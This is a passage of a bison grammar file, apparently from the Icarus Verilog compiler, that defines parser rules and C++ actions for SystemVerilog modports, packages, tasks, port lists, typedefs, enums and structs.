$$ = tmp;
}
| IDENTIFIER '=' expression
{ decl_assignment_t*tmp = new decl_assignment_t;
tmp->name = lex_strings.make($1);
tmp->expr .reset($3);
delete[]$1;
$$ = tmp;
}
| IDENTIFIER '=' K_new '(' ')'
{ decl_assignment_t*tmp = new decl_assignment_t;
tmp->name = lex_strings.make($1);
PENewClass*expr = new PENewClass;
FILE_NAME(expr, @3);
tmp->expr .reset(expr);
delete[]$1;
$$ = tmp;
}
;
loop_variables /* IEEE1800-2005: A.6.8 */
: loop_variables ',' IDENTIFIER
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
delete[]$3;
$$ = tmp;
}
| IDENTIFIER
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
delete[]$1;
$$ = tmp;
}
;
method_qualifier /* IEEE1800-2005: A.1.8 */
: K_virtual
| class_item_qualifier
;
method_qualifier_opt
: method_qualifier
|
;
modport_declaration /* IEEE1800-2012: A.2.9 */
: K_modport
{ if (!pform_in_interface())
yyerror(@1, "error: modport declarations are only allowed "
"in interfaces.");
}
modport_item_list ';'
modport_item_list
: modport_item
| modport_item_list ',' modport_item
;
modport_item
: IDENTIFIER
{ pform_start_modport_item(@1, $1); }
'(' modport_ports_list ')'
{ pform_end_modport_item(@1); }
;
/* The modport_ports_list is a LALR(2) grammar. When the parser sees a
',' it needs to look ahead to the next token to decide whether it is
a continuation of the preceding modport_ports_declaration, or the
start of a new modport_ports_declaration. bison only supports LALR(1),
so we have to handcraft a mini parser for this part of the syntax.
last_modport_port holds the state for this mini parser.*/
modport_ports_list
: modport_ports_declaration
| modport_ports_list ',' modport_ports_declaration
| modport_ports_list ',' modport_simple_port
{ if (last_modport_port.type == MP_SIMPLE) {
pform_add_modport_port(@3, last_modport_port.direction,
$3->name, $3->parm);
} else {
yyerror(@3, "error: modport expression not allowed here.");
}
delete $3;
}
| modport_ports_list ',' modport_tf_port
{ if (last_modport_port.type != MP_TF)
yyerror(@3, "error: task/function declaration not allowed here.");
}
| modport_ports_list ',' IDENTIFIER
{ if (last_modport_port.type == MP_SIMPLE) {
pform_add_modport_port(@3, last_modport_port.direction,
lex_strings.make($3), 0);
} else if (last_modport_port.type != MP_TF) {
yyerror(@3, "error: list of identifiers not allowed here.");
}
delete[] $3;
}
| modport_ports_list ','
{ yyerror(@2, "error: NULL port declarations are not allowed"); }
;
modport_ports_declaration
: attribute_list_opt port_direction IDENTIFIER
{ last_modport_port.type = MP_SIMPLE;
last_modport_port.direction = $2;
pform_add_modport_port(@3, $2, lex_strings.make($3), 0);
delete[] $3;
delete $1;
}
| attribute_list_opt port_direction modport_simple_port
{ last_modport_port.type = MP_SIMPLE;
last_modport_port.direction = $2;
pform_add_modport_port(@3, $2, $3->name, $3->parm);
delete $3;
delete $1;
}
| attribute_list_opt import_export IDENTIFIER
{ last_modport_port.type = MP_TF;
last_modport_port.is_import = $2;
yyerror(@3, "sorry: modport task/function ports are not yet supported.");
delete[] $3;
delete $1;
}
| attribute_list_opt import_export modport_tf_port
{ last_modport_port.type = MP_TF;
last_modport_port.is_import = $2;
yyerror(@3, "sorry: modport task/function ports are not yet supported.");
delete $1;
}
| attribute_list_opt K_clocking IDENTIFIER
{ last_modport_port.type = MP_CLOCKING;
last_modport_port.direction = NetNet::NOT_A_PORT;
yyerror(@3, "sorry: modport clocking declaration is not yet supported.");
delete[] $3;
delete $1;
}
;
modport_simple_port
: '.' IDENTIFIER '(' expression ')'
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = $4;
delete[]$2;
$$ = tmp;
}
;
modport_tf_port
: K_task IDENTIFIER
| K_task IDENTIFIER '(' tf_port_list_opt ')'
| K_function data_type_or_implicit_or_void IDENTIFIER
| K_function data_type_or_implicit_or_void IDENTIFIER '(' tf_port_list_opt ')'
;
non_integer_type /* IEEE1800-2005: A.2.2.1 */
: K_real { $$ = real_type_t::REAL; }
| K_realtime { $$ = real_type_t::REAL; }
| K_shortreal { $$ = real_type_t::SHORTREAL; }
;
number : BASED_NUMBER
{ $$ = $1; based_size = 0;}
| DEC_NUMBER
{ $$ = $1; based_size = 0;}
| DEC_NUMBER BASED_NUMBER
{ $$ = pform_verinum_with_size($1,$2, @2.text, @2.first_line);
based_size = 0; }
| UNBASED_NUMBER
{ $$ = $1; based_size = 0;}
| DEC_NUMBER UNBASED_NUMBER
{ yyerror(@1, "error: Unbased SystemVerilog literal cannot have "
"a size.");
$$ = $1; based_size = 0;}
;
open_range_list /* IEEE1800-2005 A.2.11 */
: open_range_list ',' value_range
| value_range
;
package_declaration /* IEEE1800-2005 A.1.2 */
: K_package lifetime_opt IDENTIFIER ';'
{ pform_start_package_declaration(@1, $3, $2);
}
package_item_list_opt
K_endpackage endlabel_opt
{ pform_end_package_declaration(@1);
// If an end label is present make sure it match the package name.
if ($8) {
if (strcmp($3,$8) != 0) {
yyerror(@8, "error: End label doesn't match package name");
}
delete[]$8;
}
delete[]$3;
}
;
module_package_import_list_opt
:
| package_import_list
;
package_import_list
: package_import_declaration
| package_import_list package_import_declaration
;
package_import_declaration /* IEEE1800-2005 A.2.1.3 */
: K_import package_import_item_list ';'
{ }
;
package_import_item
: PACKAGE_IDENTIFIER K_SCOPE_RES IDENTIFIER
{ pform_package_import(@2, $1, $3);
delete[]$3;
}
| PACKAGE_IDENTIFIER K_SCOPE_RES '*'
{ pform_package_import(@2, $1, 0);
}
;
package_import_item_list
: package_import_item_list',' package_import_item
| package_import_item
;
package_item /* IEEE1800-2005 A.1.10 */
: timeunits_declaration
| K_parameter param_type parameter_assign_list ';'
| K_localparam param_type localparam_assign_list ';'
| type_declaration
| function_declaration
| task_declaration
| data_declaration
| class_declaration
;
package_item_list
: package_item_list package_item
| package_item
;
package_item_list_opt : package_item_list | ;
port_direction /* IEEE1800-2005 A.1.3 */
: K_input { $$ = NetNet::PINPUT; }
| K_output { $$ = NetNet::POUTPUT; }
| K_inout { $$ = NetNet::PINOUT; }
| K_ref
{ $$ = NetNet::PREF;
if (!gn_system_verilog()) {
yyerror(@1, "error: Reference ports (ref) require SystemVerilog.");
$$ = NetNet::PINPUT;
}
}
;
/* port_direction_opt is used in places where the port direction is
optional. The default direction is selected by the context,
which needs to notice the PIMPLICIT direction. */
port_direction_opt
: port_direction { $$ = $1; }
| { $$ = NetNet::PIMPLICIT; }
;
property_expr /* IEEE1800-2012 A.2.10 */
: expression
;
procedural_assertion_statement /* IEEE1800-2012 A.6.10 */
: K_assert '(' expression ')' statement %prec less_than_K_else
{ yyerror(@1, "sorry: Simple immediate assertion statements not implemented.");
$$ = 0;
}
| K_assert '(' expression ')' K_else statement
{ yyerror(@1, "sorry: Simple immediate assertion statements not implemented.");
$$ = 0;
}
| K_assert '(' expression ')' statement K_else statement
{ yyerror(@1, "sorry: Simple immediate assertion statements not implemented.");
$$ = 0;
}
;
/* The property_qualifier rule is as literally described in the LRM,
but the use is usually as { property_qualifier }, which is
implemented by the property_qualifier_opt rule below. */
property_qualifier /* IEEE1800-2005 A.1.8 */
: class_item_qualifier
| random_qualifier
;
property_qualifier_opt /* IEEE1800-2005 A.1.8: ... { property_qualifier } */
: property_qualifier_list { $$ = $1; }
| { $$ = property_qualifier_t::make_none(); }
;
property_qualifier_list /* IEEE1800-2005 A.1.8 */
: property_qualifier_list property_qualifier { $$ = $1 | $2; }
| property_qualifier { $$ = $1; }
;
/* The property_spec rule uses some helper rules to implement this
rule from the LRM:
[ clocking_event ] [ disable iff ( expression_or_dist ) ] property_expr
This does it is a YACC friendly way. */
property_spec /* IEEE1800-2012 A.2.10 */
: clocking_event_opt property_spec_disable_iff_opt property_expr
;
property_spec_disable_iff_opt /* */
: K_disable K_iff '(' expression ')'
|
;
random_qualifier /* IEEE1800-2005 A.1.8 */
: K_rand { $$ = property_qualifier_t::make_rand(); }
| K_randc { $$ = property_qualifier_t::make_randc(); }
;
/* real and realtime are exactly the same so save some code
* with a common matching rule. */
real_or_realtime
: K_real
| K_realtime
;
signing /* IEEE1800-2005: A.2.2.1 */
: K_signed { $$ = true; }
| K_unsigned { $$ = false; }
;
statement /* IEEE1800-2005: A.6.4 */
: attribute_list_opt statement_item
{ pform_bind_attributes($2->attributes, $1);
$$ = $2;
}
;
/* Many places where statements are allowed can actually take a
statement or a null statement marked with a naked semi-colon. */
statement_or_null /* IEEE1800-2005: A.6.4 */
: statement
{ $$ = $1; }
| attribute_list_opt ';'
{ $$ = 0; }
;
stream_expression
: expression
;
stream_expression_list
: stream_expression_list ',' stream_expression
| stream_expression
;
stream_operator
: K_LS
| K_RS
;
streaming_concatenation /* IEEE1800-2005: A.8.1 */
: '{' stream_operator '{' stream_expression_list '}' '}'
{ /* streaming concatenation is a SystemVerilog thing. */
if (gn_system_verilog()) {
yyerror(@2, "sorry: Streaming concatenation not supported.");
$$ = 0;
} else {
yyerror(@2, "error: Streaming concatenation requires SystemVerilog");
$$ = 0;
}
}
;
/* The task declaration rule matches the task declaration
header, then pushes the function scope. This causes the
definitions in the task_body to take on the scope of the task
instead of the module. */
task_declaration /* IEEE1800-2005: A.2.7 */
: K_task lifetime_opt IDENTIFIER ';'
{ assert(current_task == 0);
current_task = pform_push_task_scope(@1, $3, $2);
}
task_item_list_opt
statement_or_null_list_opt
K_endtask
{ current_task->set_ports($6);
current_task_set_statement(@3, $7);
pform_set_this_class(@3, current_task);
pform_pop_scope();
current_task = 0;
if ($7 && $7->size() > 1 && !gn_system_verilog()) {
yyerror(@7, "error: Task body with multiple statements requires SystemVerilog.");
}
delete $7;
}
endlabel_opt
{ // Last step: check any closing name. This is done late so
// that the parser can look ahead to detect the present
// endlabel_opt but still have the pform_endmodule() called
// early enough that the lexor can know we are outside the
// module.
if ($10) {
if (strcmp($3,$10) != 0) {
yyerror(@10, "error: End label doesn't match task name");
}
if (! gn_system_verilog()) {
yyerror(@10, "error: Task end labels require "
"SystemVerilog.");
}
delete[]$10;
}
delete[]$3;
}
| K_task lifetime_opt IDENTIFIER '('
{ assert(current_task == 0);
current_task = pform_push_task_scope(@1, $3, $2);
}
tf_port_list ')' ';'
block_item_decls_opt
statement_or_null_list_opt
K_endtask
{ current_task->set_ports($6);
current_task_set_statement(@3, $10);
pform_set_this_class(@3, current_task);
pform_pop_scope();
current_task = 0;
if ($10) delete $10;
}
endlabel_opt
{ // Last step: check any closing name. This is done late so
// that the parser can look ahead to detect the present
// endlabel_opt but still have the pform_endmodule() called
// early enough that the lexor can know we are outside the
// module.
if ($13) {
if (strcmp($3,$13) != 0) {
yyerror(@13, "error: End label doesn't match task name");
}
if (! gn_system_verilog()) {
yyerror(@13, "error: Task end labels require "
"SystemVerilog.");
}
delete[]$13;
}
delete[]$3;
}
| K_task lifetime_opt IDENTIFIER '(' ')' ';'
{ assert(current_task == 0);
current_task = pform_push_task_scope(@1, $3, $2);
}
block_item_decls_opt
statement_or_null_list
K_endtask
{ current_task->set_ports(0);
current_task_set_statement(@3, $9);
pform_set_this_class(@3, current_task);
if (! current_task->method_of()) {
cerr << @3 << ": warning: task definition for \"" << $3
<< "\" has an empty port declaration list!" << endl;
}
pform_pop_scope();
current_task = 0;
if ($9->size() > 1 && !gn_system_verilog()) {
yyerror(@9, "error: Task body with multiple statements requires SystemVerilog.");
}
delete $9;
}
endlabel_opt
{ // Last step: check any closing name. This is done late so
// that the parser can look ahead to detect the present
// endlabel_opt but still have the pform_endmodule() called
// early enough that the lexor can know we are outside the
// module.
if ($12) {
if (strcmp($3,$12) != 0) {
yyerror(@12, "error: End label doesn't match task name");
}
if (! gn_system_verilog()) {
yyerror(@12, "error: Task end labels require "
"SystemVerilog.");
}
delete[]$12;
}
delete[]$3;
}
| K_task lifetime_opt IDENTIFIER error K_endtask
{
assert(current_task == 0);
}
endlabel_opt
{ // Last step: check any closing name. This is done late so
// that the parser can look ahead to detect the present
// endlabel_opt but still have the pform_endmodule() called
// early enough that the lexor can know we are outside the
// module.
if ($7) {
if (strcmp($3,$7) != 0) {
yyerror(@7, "error: End label doesn't match task name");
}
if (! gn_system_verilog()) {
yyerror(@7, "error: Task end labels require "
"SystemVerilog.");
}
delete[]$7;
}
delete[]$3;
}
;
tf_port_declaration /* IEEE1800-2005: A.2.7 */
: port_direction K_reg_opt unsigned_signed_opt dimensions_opt list_of_identifiers ';'
{ vector<pform_tf_port_t>*tmp = pform_make_task_ports(@1, $1,
$2 ? IVL_VT_LOGIC :
IVL_VT_NO_TYPE,
$3, $4, $5);
$$ = tmp;
}
/* When the port is an integer, infer a signed vector of the integer
shape. Generate a range ([31:0]) to make it work. */
| port_direction K_integer list_of_identifiers ';'
{ list<pform_range_t>*range_stub = make_range_from_width(integer_width);
vector<pform_tf_port_t>*tmp = pform_make_task_ports(@1, $1, IVL_VT_LOGIC, true,
range_stub, $3, true);
$$ = tmp;
}
/* Ports can be time with a width of [63:0] (unsigned). */
| port_direction K_time list_of_identifiers ';'
{ list<pform_range_t>*range_stub = make_range_from_width(64);
vector<pform_tf_port_t>*tmp = pform_make_task_ports(@1, $1, IVL_VT_LOGIC, false,
range_stub, $3);
$$ = tmp;
}
/* Ports can be real or realtime. */
| port_direction real_or_realtime list_of_identifiers ';'
{ vector<pform_tf_port_t>*tmp = pform_make_task_ports(@1, $1, IVL_VT_REAL, true,
0, $3);
$$ = tmp;
}
;
/* These rules for tf_port_item are slightly expanded from the
strict rules in the LRM to help with LALR parsing.
NOTE: Some of these rules should be folded into the "data_type"
variant which uses the data_type rule to match data type
declarations. That some rules do not use the data_type production
is a consequence of legacy. */
tf_port_item /* IEEE1800-2005: A.2.7 */
: port_direction_opt data_type_or_implicit IDENTIFIER dimensions_opt tf_port_item_expr_opt
{ vector<pform_tf_port_t>*tmp;
NetNet::PortType use_port_type = $1==NetNet::PIMPLICIT? NetNet::PINPUT : $1;
perm_string name = lex_strings.make($3);
list<perm_string>* ilist = list_from_identifier($3);
if (($2 == 0) && ($1==NetNet::PIMPLICIT)) {
// Detect special case this is an undecorated
// identifier and we need to get the declaration from
// left context.
if ($4 != 0) {
yyerror(@4, "internal error: How can there be an unpacked range here?\n");
}
tmp = pform_make_task_ports(@3, use_port_type,
port_declaration_context.data_type,
ilist);
} else {
// Otherwise, the decorations for this identifier
// indicate the type. Save the type for any right
// context that may come later.
port_declaration_context.port_type = use_port_type;
if ($2 == 0) {
$2 = new vector_type_t(IVL_VT_LOGIC, false, 0);
FILE_NAME($2, @3);
}
port_declaration_context.data_type = $2;
tmp = pform_make_task_ports(@3, use_port_type, $2, ilist);
}
if ($4 != 0) {
pform_set_reg_idx(name, $4);
}
$$ = tmp;
if ($5) {
assert(tmp->size()==1);
tmp->front().defe = $5;
}
}
/* Rules to match error cases... */
| port_direction_opt data_type_or_implicit IDENTIFIER error
{ yyerror(@3, "error: Error in task/function port item after port name %s.", $3);
yyerrok;
$$ = 0;
}
;
/* This rule matches the [ = <expression> ] part of the tf_port_item rules. */
tf_port_item_expr_opt
: '=' expression
{ if (! gn_system_verilog()) {
yyerror(@1, "error: Task/function default arguments require "
"SystemVerilog.");
}
$$ = $2;
}
| { $$ = 0; }
;
tf_port_list /* IEEE1800-2005: A.2.7 */
: tf_port_list ',' tf_port_item
{ vector<pform_tf_port_t>*tmp;
if ($1 && $3) {
size_t s1 = $1->size();
tmp = $1;
tmp->resize(tmp->size()+$3->size());
for (size_t idx = 0 ; idx < $3->size() ; idx += 1)
tmp->at(s1+idx) = $3->at(idx);
delete $3;
} else if ($1) {
tmp = $1;
} else {
tmp = $3;
}
$$ = tmp;
}
| tf_port_item
{ $$ = $1; }
/* Rules to handle some errors in tf_port_list items. */
| error ',' tf_port_item
{ yyerror(@2, "error: Syntax error in task/function port declaration.");
$$ = $3;
}
| tf_port_list ','
{ yyerror(@2, "error: NULL port declarations are not allowed.");
$$ = $1;
}
| tf_port_list ';'
{ yyerror(@2, "error: ';' is an invalid port declaration separator.");
$$ = $1;
}
;
/* NOTE: Icarus Verilog is a little more generous with the
timeunits declarations by allowing them to happen in multiple
places in the file. So the rule is adjusted to be invoked by the
"description" rule. This theoretically allows files to be
concatenated together and still compile. */
timeunits_declaration /* IEEE1800-2005: A.1.2 */
: K_timeunit TIME_LITERAL ';'
{ pform_set_timeunit($2, false, false); }
| K_timeunit TIME_LITERAL '/' TIME_LITERAL ';'
{ pform_set_timeunit($2, false, false);
pform_set_timeprecision($4, false, false);
}
| K_timeprecision TIME_LITERAL ';'
{ pform_set_timeprecision($2, false, false); }
;
value_range /* IEEE1800-2005: A.8.3 */
: expression
{ }
| '[' expression ':' expression ']'
{ }
;
variable_dimension /* IEEE1800-2005: A.2.5 */
: '[' expression ':' expression ']'
{ list<pform_range_t> *tmp = new list<pform_range_t>;
pform_range_t index ($2,$4);
tmp->push_back(index);
$$ = tmp;
}
| '[' expression ']'
{ // SystemVerilog canonical range
if (!gn_system_verilog()) {
warn_count += 1;
cerr << @2 << ": warning: Use of SystemVerilog [size] dimension. "
<< "Use at least -g2005-sv to remove this warning." << endl;
}
list<pform_range_t> *tmp = new list<pform_range_t>;
pform_range_t index;
index.first = new PENumber(new verinum((uint64_t)0, integer_width));
index.second = new PEBinary('-', $2, new PENumber(new verinum((uint64_t)1, integer_width)));
tmp->push_back(index);
$$ = tmp;
}
| '[' ']'
{ list<pform_range_t> *tmp = new list<pform_range_t>;
pform_range_t index (0,0);
tmp->push_back(index);
$$ = tmp;
}
| '[' '$' ']'
{ // SystemVerilog queue
list<pform_range_t> *tmp = new list<pform_range_t>;
pform_range_t index (new PENull,0);
if (!gn_system_verilog()) {
yyerror("error: Queue declarations require SystemVerilog.");
}
tmp->push_back(index);
$$ = tmp;
}
;
variable_lifetime
: lifetime
{ if (!gn_system_verilog()) {
yyerror(@1, "error: overriding the default variable lifetime "
"requires SystemVerilog.");
} else if ($1 != pform_peek_scope()->default_lifetime) {
yyerror(@1, "sorry: overriding the default variable lifetime "
"is not yet supported.");
}
var_lifetime = $1;
}
;
/* Verilog-2001 supports attribute lists, which can be attached to a
variety of different objects. The syntax inside the (* *) is a
comma separated list of names or names with assigned values. */
attribute_list_opt
: attribute_instance_list
{ $$ = $1; }
|
{ $$ = 0; }
;
attribute_instance_list
: K_PSTAR K_STARP { $$ = 0; }
| K_PSTAR attribute_list K_STARP { $$ = $2; }
| attribute_instance_list K_PSTAR K_STARP { $$ = $1; }
| attribute_instance_list K_PSTAR attribute_list K_STARP
{ list<named_pexpr_t>*tmp = $1;
if (tmp) {
tmp->splice(tmp->end(), *$3);
delete $3;
$$ = tmp;
} else $$ = $3;
}
;
attribute_list
: attribute_list ',' attribute
{ list<named_pexpr_t>*tmp = $1;
tmp->push_back(*$3);
delete $3;
$$ = tmp;
}
| attribute
{ list<named_pexpr_t>*tmp = new list<named_pexpr_t>;
tmp->push_back(*$1);
delete $1;
$$ = tmp;
}
;
attribute
: IDENTIFIER
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($1);
tmp->parm = 0;
delete[]$1;
$$ = tmp;
}
| IDENTIFIER '=' expression
{ PExpr*tmp = $3;
named_pexpr_t*tmp2 = new named_pexpr_t;
tmp2->name = lex_strings.make($1);
tmp2->parm = tmp;
delete[]$1;
$$ = tmp2;
}
;
/* The block_item_decl is used in function definitions, task
definitions, module definitions and named blocks. Wherever a new
scope is entered, the source may declare new registers and
integers. This rule matches those declarations. The containing
rule has presumably set up the scope. */
block_item_decl
/* variable declarations. Note that data_type can be 0 if we are
recovering from an error. */
: data_type register_variable_list ';'
{ if ($1) pform_set_data_type(@1, $1, $2, NetNet::REG, attributes_in_context);
}
| variable_lifetime data_type register_variable_list ';'
{ if ($2) pform_set_data_type(@2, $2, $3, NetNet::REG, attributes_in_context);
var_lifetime = LexicalScope::INHERITED;
}
| K_reg data_type register_variable_list ';'
{ if ($2) pform_set_data_type(@2, $2, $3, NetNet::REG, attributes_in_context);
}
| variable_lifetime K_reg data_type register_variable_list ';'
{ if ($3) pform_set_data_type(@3, $3, $4, NetNet::REG, attributes_in_context);
var_lifetime = LexicalScope::INHERITED;
}
| K_event event_variable_list ';'
{ if ($2) pform_make_events($2, @1.text, @1.first_line);
}
| K_parameter param_type parameter_assign_list ';'
| K_localparam param_type localparam_assign_list ';'
/* Blocks can have type declarations. */
| type_declaration
/* Recover from errors that happen within variable lists. Use the
trailing semi-colon to resync the parser. */
| K_integer error ';'
{ yyerror(@1, "error: syntax error in integer variable list.");
yyerrok;
}
| K_time error ';'
{ yyerror(@1, "error: syntax error in time variable list.");
yyerrok;
}
| K_parameter error ';'
{ yyerror(@1, "error: syntax error in parameter list.");
yyerrok;
}
| K_localparam error ';'
{ yyerror(@1, "error: syntax error localparam list.");
yyerrok;
}
;
block_item_decls
: block_item_decl
| block_item_decls block_item_decl
;
block_item_decls_opt
: block_item_decls { $$ = true; }
| { $$ = false; }
;
/* Type declarations are parsed here. The rule actions call pform
functions that add the declaration to the current lexical scope. */
type_declaration
: K_typedef data_type IDENTIFIER dimensions_opt ';'
{ perm_string name = lex_strings.make($3);
pform_set_typedef(name, $2, $4);
delete[]$3;
}
/* If the IDENTIFIER already is a typedef, it is possible for this
code to override the definition, but only if the typedef is
inherited from a different scope. */
| K_typedef data_type TYPE_IDENTIFIER ';'
{ perm_string name = lex_strings.make($3.text);
if (pform_test_type_identifier_local(name)) {
yyerror(@3, "error: Typedef identifier \"%s\" is already a type name.", $3.text);
} else {
pform_set_typedef(name, $2, NULL);
}
delete[]$3.text;
}
/* These are forward declarations... */
| K_typedef K_class IDENTIFIER ';'
{ // Create a synthetic typedef for the class name so that the
// lexor detects the name as a type.
perm_string name = lex_strings.make($3);
class_type_t*tmp = new class_type_t(name);
FILE_NAME(tmp, @3);
pform_set_typedef(name, tmp, NULL);
delete[]$3;
}
| K_typedef K_enum IDENTIFIER ';'
{ yyerror(@1, "sorry: Enum forward declarations not supported yet."); }
| K_typedef K_struct IDENTIFIER ';'
{ yyerror(@1, "sorry: Struct forward declarations not supported yet."); }
| K_typedef K_union IDENTIFIER ';'
{ yyerror(@1, "sorry: Union forward declarations not supported yet."); }
| K_typedef IDENTIFIER ';'
{ // Create a synthetic typedef for the class name so that the
// lexor detects the name as a type.
perm_string name = lex_strings.make($2);
class_type_t*tmp = new class_type_t(name);
FILE_NAME(tmp, @2);
pform_set_typedef(name, tmp, NULL);
delete[]$2;
}
| K_typedef error ';'
{ yyerror(@2, "error: Syntax error in typedef clause.");
yyerrok;
}
;
/* The structure for an enumeration data type is the keyword "enum",
followed by the enumeration values in curly braces. Also allow
for an optional base type. The default base type is "int", but it
can be any of the integral or vector types. */
enum_data_type
: K_enum '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($3);
enum_type->base_type = IVL_VT_BOOL;
enum_type->signed_flag = true;
enum_type->integer_flag = false;
enum_type->range.reset(make_range_from_width(32));
$$ = enum_type;
}
| K_enum atom2_type signed_unsigned_opt '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($5);
enum_type->base_type = IVL_VT_BOOL;
enum_type->signed_flag = $3;
enum_type->integer_flag = false;
enum_type->range.reset(make_range_from_width($2));
$$ = enum_type;
}
| K_enum K_integer signed_unsigned_opt '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($5);
enum_type->base_type = IVL_VT_LOGIC;
enum_type->signed_flag = $3;
enum_type->integer_flag = true;
enum_type->range.reset(make_range_from_width(integer_width));
$$ = enum_type;
}
| K_enum K_logic unsigned_signed_opt dimensions_opt '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($6);
enum_type->base_type = IVL_VT_LOGIC;
enum_type->signed_flag = $3;
enum_type->integer_flag = false;
enum_type->range.reset($4 ? $4 : make_range_from_width(1));
$$ = enum_type;
}
| K_enum K_reg unsigned_signed_opt dimensions_opt '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($6);
enum_type->base_type = IVL_VT_LOGIC;
enum_type->signed_flag = $3;
enum_type->integer_flag = false;
enum_type->range.reset($4 ? $4 : make_range_from_width(1));
$$ = enum_type;
}
| K_enum K_bit unsigned_signed_opt dimensions_opt '{' enum_name_list '}'
{ enum_type_t*enum_type = new enum_type_t;
FILE_NAME(enum_type, @1);
enum_type->names .reset($6);
enum_type->base_type = IVL_VT_BOOL;
enum_type->signed_flag = $3;
enum_type->integer_flag = false;
enum_type->range.reset($4 ? $4 : make_range_from_width(1));
$$ = enum_type;
}
;
enum_name_list
: enum_name
{ $$ = $1;
}
| enum_name_list ',' enum_name
{ list<named_pexpr_t>*lst = $1;
lst->splice(lst->end(), *$3);
delete $3;
$$ = lst;
}
;
pos_neg_number
: number
{ $$ = $1;
}
| '-' number
{ verinum tmp = -(*($2));
*($2) = tmp;
$$ = $2;
}
;
enum_name
: IDENTIFIER
{ perm_string name = lex_strings.make($1);
delete[]$1;
$$ = make_named_number(name);
}
| IDENTIFIER '[' pos_neg_number ']'
{ perm_string name = lex_strings.make($1);
long count = check_enum_seq_value(@1, $3, false);
delete[]$1;
$$ = make_named_numbers(name, 0, count-1);
delete $3;
}
| IDENTIFIER '[' pos_neg_number ':' pos_neg_number ']'
{ perm_string name = lex_strings.make($1);
$$ = make_named_numbers(name, check_enum_seq_value(@1, $3, true),
check_enum_seq_value(@1, $5, true));
delete[]$1;
delete $3;
delete $5;
}
| IDENTIFIER '=' expression
{ perm_string name = lex_strings.make($1);
delete[]$1;
$$ = make_named_number(name, $3);
}
| IDENTIFIER '[' pos_neg_number ']' '=' expression
{ perm_string name = lex_strings.make($1);
long count = check_enum_seq_value(@1, $3, false);
$$ = make_named_numbers(name, 0, count-1, $6);
delete[]$1;
delete $3;
}
| IDENTIFIER '[' pos_neg_number ':' pos_neg_number ']' '=' expression
{ perm_string name = lex_strings.make($1);
$$ = make_named_numbers(name, check_enum_seq_value(@1, $3, true),
check_enum_seq_value(@1, $5, true), $8);
delete[]$1;
delete $3;
delete $5;
}
;
struct_data_type
: K_struct K_packed_opt '{' struct_union_member_list '}'
{ struct_type_t*tmp = new struct_type_t;
FILE_NAME(tmp, @1);
tmp->packed_flag = $2;
tmp->union_flag = false;
tmp->members .reset($4);
$$ = tmp;
}
| K_union K_packed_opt '{' struct_union_member_list '}'
{ struct_type_t*tmp = new struct_type_t;
FILE_NAME(tmp, @1);
tmp->packed_flag = $2;
tmp->union_flag = true;
tmp->members .reset($4);
$$ = tmp;
}
| K_struct K_packed_opt '{' error '}'
{ yyerror(@3, "error: Errors in struct member list.");
yyerrok;
struct_type_t*tmp = new struct_type_t;
FILE_NAME(tmp, @1);
tmp->packed_flag = $2;
tmp->union_flag = false;
$$ = tmp;
}
| K_union K_packed_opt '{' error '}'
{ yyerror(@3, "error: Errors in union member list.");
yyerrok;
struct_type_t*tmp = new struct_type_t;
FILE_NAME(tmp, @1);
tmp->packed_flag = $2;
tmp->union_flag = true;
$$ = tmp;
}
;
/* This is an implementation of the rule snippet:
struct_union_member { struct_union_member }
that is used in the rule matching struct and union types
in IEEE 1800-2012 A.2.2.1. */
struct_union_member_list
: struct_union_member_list struct_union_member
{ list<struct_member_t*>*tmp = $1;
tmp->push_back($2);
$$ = tmp;
}
| struct_union_member
{ list<struct_member_t*>*tmp = new list<struct_member_t*>;
tmp->push_back($1);
$$ = tmp;
}
;
struct_union_member /* IEEE 1800-2012 A.2.2.1 */
: attribute_list_opt data_type list_of_variable_decl_assignments ';'
{ struct_member_t*tmp = new struct_member_t;
FILE_NAME(tmp, @2);
tmp->type .reset($2);
tmp->names .reset($3);
$$ = tmp;
}
| error ';'
{ yyerror(@2, "Error in struct/union member.");
yyerrok;
$$ = 0;
}
;
case_item
: expression_list_proper ':' statement_or_null
{ PCase::Item*tmp = new PCase::Item;
tmp->expr = *$1;
tmp->stat = $3;
delete $1;
$$ = tmp;
}
| K_default ':' statement_or_null
{ PCase::Item*tmp = new PCase::Item;
tmp->stat = $3;
$$ = tmp;
}
| K_default statement_or_null
{ PCase::Item*tmp = new PCase::Item;
tmp->stat = $2;
$$ = tmp;
}
| error ':' statement_or_null
{ yyerror(@2, "error: Incomprehensible case expression.");
yyerrok;
}
;
case_items
: case_items case_item
{ svector<PCase::Item*>*tmp;
tmp = new svector<PCase::Item*>(*$1, $2);
delete $1;
$$ = tmp;
}
| case_item
{ svector<PCase::Item*>*tmp = new svector<PCase::Item*>(1);
(*tmp)[0] = $1;
$$ = tmp;
}
;
charge_strength
: '(' K_small ')'
| '(' K_medium ')'
| '(' K_large ')'
;
charge_strength_opt
: charge_strength
|
;
defparam_assign
: hierarchy_identifier '=' expression
{ pform_set_defparam(*$1, $3);
delete $1;
}
;
defparam_assign_list
: defparam_assign
| dimensions defparam_assign
{ yyerror(@1, "error: defparam may not include a range.");
delete $1;
}
| defparam_assign_list ',' defparam_assign
;
delay1
: '#' delay_value_simple
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($2);
$$ = tmp;
}
| '#' '(' delay_value ')'
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
$$ = tmp;
}
;
delay3
: '#' delay_value_simple
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($2);
$$ = tmp;
}
| '#' '(' delay_value ')'
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
$$ = tmp;
}
| '#' '(' delay_value ',' delay_value ')'
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
tmp->push_back($5);
$$ = tmp;
